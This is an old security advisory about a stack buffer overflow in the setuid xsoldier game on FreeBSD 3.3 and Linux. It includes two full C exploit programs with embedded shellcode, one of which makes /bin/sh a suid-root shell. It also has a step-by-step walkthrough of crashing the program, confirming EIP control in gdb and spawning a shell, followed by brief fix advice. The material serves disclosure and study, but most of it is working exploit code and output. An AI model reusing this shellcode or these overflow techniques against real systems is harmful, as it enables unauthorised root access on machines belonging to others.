|
Vulnerability xsoldier Affected FreeBSD 3.3, Linux Description Brock Tellier found following. A vulnerability in FreeBSD 3.3's xsoldier will allow any user to gain root access. This user does not have to have a valid $DISPLAY to exploit this. Only FreeBSD 3.3-RELEASE has been tested. xsoldier, suid-root by default, was installed as part of the X11 games packages via /stand/sysinstall. More problems with FreeBSD 3.3 ports. This time with xsoldier, a suid-root game. A simple overflow in the -display option allows any user to gain root. Although xsoldier only runs under X, a long -display arg on the CL will allow us to gain root. /* * xsoldier exploit for Freebsd-3.3-RELEASE * Drops a suid root shell in /bin/sh * Brock Tellier btellier@usa.net */ #include <stdio.h> char shell[]= /* mudge@l0pht.com */ "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui"; #define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n" void buildui() { FILE *fp; char cc[100]; fp = fopen("/tmp/ui.c", "w"); fprintf(fp, CODE); fclose(fp); snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c"); system(cc); } main (int argc, char *argv[] ) { int x = 0; int y = 0; int offset = 0; int bsize = 4400; char buf[bsize]; int eip = 0xbfbfdb65; /* works for me */ buildui(); if (argv[1]) { offset = atoi(argv[1]); eip = eip + offset; } fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE <btellier@usa.net>\n"); fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n"); fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize); for ( x = 0; x < 4325; x++) buf[x] = 0x90; fprintf(stderr, "NOPs to %d\n", x); for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y]; fprintf(stderr, "Shellcode to %d\n",x); buf[x++] = eip & 0x000000ff; buf[x++] = (eip & 0x0000ff00) >> 8; buf[x++] = (eip & 0x00ff0000) >> 16; buf[x++] = (eip & 0xff000000) >> 24; fprintf(stderr, "eip to %d\n",x); buf[bsize]='\0'; execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL); } Larry C$ had been looking at some setuid files on his mandrake installation and noticed that xsolider was setgid games. He remembered a local exploit above. As an excersize he checked to see if he could find the segfault in xsolider myself. He guessed it was the display variable. His first attempt was a success. $ /usr/games/xsoldier -d `perl -e 'print "A" x 4500'` -snip- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAA] can't open display. Segmentation fault At 4397 he first got a segmentation fault. He realized that this is not a new vulberability, but it might be fun to write and exploit for linux as one existed in freebsd. He attempted to get a core dump by suing to root and attempting the above again (thinking core dumps were supressed for normal users) with no luck. So he downloaded the source code to xsolider compiled and tried again. # /tmp/xsoldier -d `perl -e 'print "A" x 4397'` -snip- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (core dumped) Ok. Lets see if we are getting 0x41 in EIP #gdb /tmp/xsoldier core GNU gdb 19991116 -snip- Core was generated by `/tmp/xsoldier -d AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. -snip- Reading symbols from /lib/ld-linux.so.2...done. Reading symbols from /lib/libnss_files.so.2...done. #0 0x41 in ?? () Yep, just barely so increase the buffersize to 4400 and with the new corefile we get # gdb /tmp/xsoldier core Core was generated by `/tmp/xsoldier -d AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'. Program terminated with signal 11, Segmentation fault. -snip- Reading symbols from /lib/ld-linux.so.2...done. Reading symbols from /lib/libnss_files.so.2...done. #0 0x41414141 in ?? () (gdb) info regi eip eip 0x41414141 0x41414141 (gdb) Ok, so lets try putting some shellcode in there. /*lwcashdollar wmcdplay exploit modified for xsolider. * lwc@vapid.dhs.org http://vapid.dhs.org * trying to get euid=games.*/ #include <stdio.h> #include <stdlib.h> #define NOP 0x90 /*no operation skip to next instruction . */ #define LEN 4480 /*our buffersize. */ char shellcode[] = /*hellkit v1.1 */ "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa" "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01" "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11" "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xed\x5c" "\xc2\x91"; /*Nab the stack pointer to use as an index into our nop's*/ long get_sp () { __asm__ ("mov %esp, %eax"); } int main (int argc, char *argv[]) { char buffer[LEN]; int i, offset; long retaddr = get_sp (); if (argc <= 1) offset = 0; else offset = atoi (argv[1]); /*#Copy the NOPs in to the buffer leaving space for shellcode and #pointers*/ for (i = 0; i < (LEN - strlen (shellcode) - 100); i++) *(buffer + i) = NOP; /*[NNNNNNNNNNNNNNNNNNNNN ]*/ /* ^-- LEN -(strlen(shellcode)) - 35*/ /*#Copy the shell code into the buffer*/ memcpy (buffer + i, shellcode, strlen (shellcode)); /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSS ]*/ /* ^-(buffer+i) */ /*#Fill the buffer with our new address to jump to esp + offset */ for (i = i + strlen (shellcode); i < LEN; i += 4) *(long *) &buffer[i] = retaddr+offset; /*[NNNNNNNNNNNNNNNNNNNNNSSSSSSSSSSSSSSSSRRRRRRRRRRRRR]*/ /* ^-(i+strlen(shellcode))*/ printf ("Jumping to address %x BufSize %d\n", retaddr + offset, LEN); execl ("/usr/games/xsoldier", "xsoldier", "-display", buffer, 0); } [larry@Nemia overflow]$ ./wmx 400 Jumping to address bfffe9dc BufSize 4480 Segmentation fault [larry@Nemia overflow]$ ./wmx 1400 Jumping to address bfffedc4 BufSize 4480 sh-2.03$ id uid=501(larry) gid=503(larry) groups=503(larry),22(cdrom),81(audio),105(urpmi),502(xgrp) OK, so the next step would be to put a setregid(); call in the shellcode to get egid=12. This is where Larry lack in experience. Its egid games so not that interesting and an old exploit. Solution This is not particular to FreeBSD. This is the xsoldier program compiled normally. In fact, in the distribution of xsoldier, the Makefile precisely specifies that the program should be installed suid: install.bin:: @if [ -d $(BINDIR) ]; then set +x; else (set -x; $(MKDIRHIER) $( BINDIR)); fi $(INSTALL) -c -m 4755 $(PROGRAM) $(BINDIR)/$(PROGRAM) @echo "install bin . done" As for Linux-Mandrake please upgrade to: xsoldier-0.96-13mdk.i586.rpm xsoldier-0.96-13mdk.src.rpm